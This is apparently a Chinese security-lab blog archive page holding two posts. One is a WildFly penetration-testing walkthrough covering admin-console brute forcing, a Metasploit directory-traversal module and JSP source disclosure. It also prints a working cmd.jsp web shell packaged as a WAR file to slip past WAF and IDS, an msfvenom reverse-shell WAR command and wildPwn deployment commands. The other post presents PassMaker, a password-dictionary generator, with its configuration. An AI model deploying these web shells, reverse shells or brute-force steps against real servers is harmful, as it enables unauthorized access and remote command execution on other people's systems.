2017年12月 - 勾陈安全实验室

2017年12月

Hacking WildFly

前言

前段时间做项目碰到的,研究了下。一些拙见,欢迎指正-:)

简介

Wildfly是一个基于Java的应用服务器,Wildfly是Redhat在2013年为JBoss AS项目起的新名称。改名后的首个版本为WildFly8,目前已经发布到了11.0.0.Final版本。这里不得不提JBoss EAP:

  • JBoss EAP < 7 (Wildfly < 10)
  • JBoss EAP >=7 (Wildfly >= 10)

了解更多:http://www.wildfly.org

服务发现与爆破

发现

Wildfly的默认端口为8080 ,Administrator Console的端口为9990 。可以匿名登录,服务识别可以使用Nmap或者其他同类型的工具扫描指定端口即可。

Nmap NSE脚本:

nmap ‐‐script wildfly‐detect 127.0.0.1

wildfly-detect.png

OpenVAS识别WildFly及其版本的脚本:http://plugins.openvas.org/nasl.php?oid=111036

爆破

使用Nmap NSE脚本:

nmap ‐p 9990 ‐‐script wildfly‐brute ‐‐script‐args "userdb=user.txt,passdb=pass.txt,hostname=domain.com" <target>

wildfly-brute.png

漏洞

Wildfly发布至今也未出现什么重大漏洞,少有几个RCE也没用公开能利用的PoC。

其中有个WildFly 8.1.0.Final目录遍历漏洞(CVE-2014-7816)的MetaSploit模块:

msf > use auxiliary/scanner/http/wildfly_traversal
msf auxiliary(wildfly_traversal) > show actions
msf auxiliary(wildfly_traversal) > set ACTION <action‐name>
msf auxiliary(wildfly_traversal) > show options
msf auxiliary(wildfly_traversal) > run

OpenVAS的JBoss WildFly Application Server RCE检测脚本:http://plugins.openvas.org/nasl.php?oid=806623看了下是受Java反序列化漏洞影响的一些版本。

还有个9.0.0.CR2之前的WildFly 9.x版本Undertow模块和10.0.0.Alpha1之前的10.x版本可以通过在URL末尾添加/来获取JSP页面源码的漏洞:https://stackoverflow.com/questions/30028346/with-trailing-slash-in-url-jspshow-source-code

http://localhost:8080/TaskManager/login.jsp/

WAR Backdoor&部署

WAR Backdoor

Wildfly并不能像Tomcat一样利用部署WAR后门,也无法使用Tomcat或Glassfish类型的.WAR后门文件。阅读官方文档之后发现Wildfly所使用的的WAR文件需要存在WEB-INF目录并且在WEB-INF目录下创建个自定义的jbossweb.xml文件,jboss-web.xml文件必须包含如下内容:

<?xml version="1.0" encoding="UTF‐8"?>
<jboss‐web xmlns="http://www.jboss.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance" xsi:schemaLocation="
http://www.jboss.com/xml/ns/javaee http://www.jboss.org/j2ee/schema/jboss‐web_5_1.xsd">
<context‐root>/WebShell</context‐root>
</jboss‐web>

其中<context-root>标签为应用程序目录,则上传部署完WAR文件之后访问的路径为:

http://127.0.0.1:8080/shellDirectory/shell.jsp

这里我们可以利用cmd.jsp来制作WAR文件,方便绕过一些WAF还有IDS:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println(request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>

MetaSploit:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=445 -f war > reverse-shell.war

部署

获得凭证后登陆Administrator Console选择Deployments选项卡 - Add上传部署并Enable启用,这边演示的是9.0.0版本:

1712211917ee775b7e7fbfd781.png

版本直接有少许差异,找到Deployments选项卡即可。

工具

爆破

python wildPwn.py ‐m brute ‐‐target <TARGET> ‐user <USERNAME LIST> ‐pass <PASSWORD LIST>

wildpwn.png

部署反弹Shell

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

wildpwn (1).png

References

[更新支持图形界面] PassMaker:可以自定义规则的密码字典生成器

0x01 项目地址

https://github.com/bit4woo/passmaker

0x02目的

该脚本的主要目标是根据定制的规则来组合生成出密码字典,主要目标是针对企业,希望对安全人员自查“符合密码策略的若密码”有所帮助。

0x03 规则

程序的核心是密码规则的指定,比如:

  • domain+常规弱密码
  • domain+键盘弱密码
  • domain+特殊字符+常规弱密码
  • domain+特殊字符+年份
    ……等等

0x04 使用

方法一:通过config.py

通过修改config.py中的参数,然后直接运行python passmaker.py来生成密码字典。

screnshot_config.png

其实详细说明已经写在配置文件的注释中了,如下:

#第一步,定义种子(seed),密码的基本组成部分
domain= ["baidu.com","baidu","Baidu.com","BaiDu.com"]
year = ["2016","2017","2018"]
special_letter = ["!","@","#","$","%",]
common_weak_pass = open('./seed/weak_pass_top100.txt').readlines()
keyboard_walk = open('./seed/4_keyboard_walk.txt').readlines()
#domain_capitalize = False #域名首字母大写处理


#第二步,定义密码的组成规则,list中的一个元素代表一个规则
rule = ["domain+special_letter+year","domain+special_letter+keyboard_walk","domain+special_letter+common_weak_pass"]
keep_in_order = False #以上的规则,是否保持原顺序,如果为False 将对每个规则中的seed进行排列组合后生产密码。



#第三步,对以上生成的密码再进行一些变形处理
capitalize = True  #是否进行首字母大写处理
leet = False       #是否进行变形处理,即通过下方的字典进行对应的字母替换
leet2num = {"a":"4",
            "i":"1",
            "e":"3",
            "t":"7",
            "o":"0",
            "s":"5",
            "g":"9",
            "z":"2"}

leet2string ={
            "O" : "()",
            "U" : "|_|",
            "D" : "|)",
            "W" : "\/\/",
            "S" : "$",
            }


#第四步,根据以下密码规则约束,对以上生成的密码进行过滤处理,删除不满足条件的记录
min_lenth =8
need_upper_letter = False
need_lower_letter = True
need_special_char = False
need_nummber = False
#大写字母、小写字母、特殊符号、数字,四种包含三种---常见的密码要求
kinds_needed = 3  #四者包含其三

方法二:命令行交互

通过运行python passmaker.py -i来通过交互模式配置其中参数,然后生成密码字典。

screnshot.png

方法三:图形界面

通过运行python passmaker.py -g来启用图形界面配置其中参数,然后运行生成密码字典。

screnshot_gui.png

如果有好的建议,欢迎通过issue提交给我,谢谢!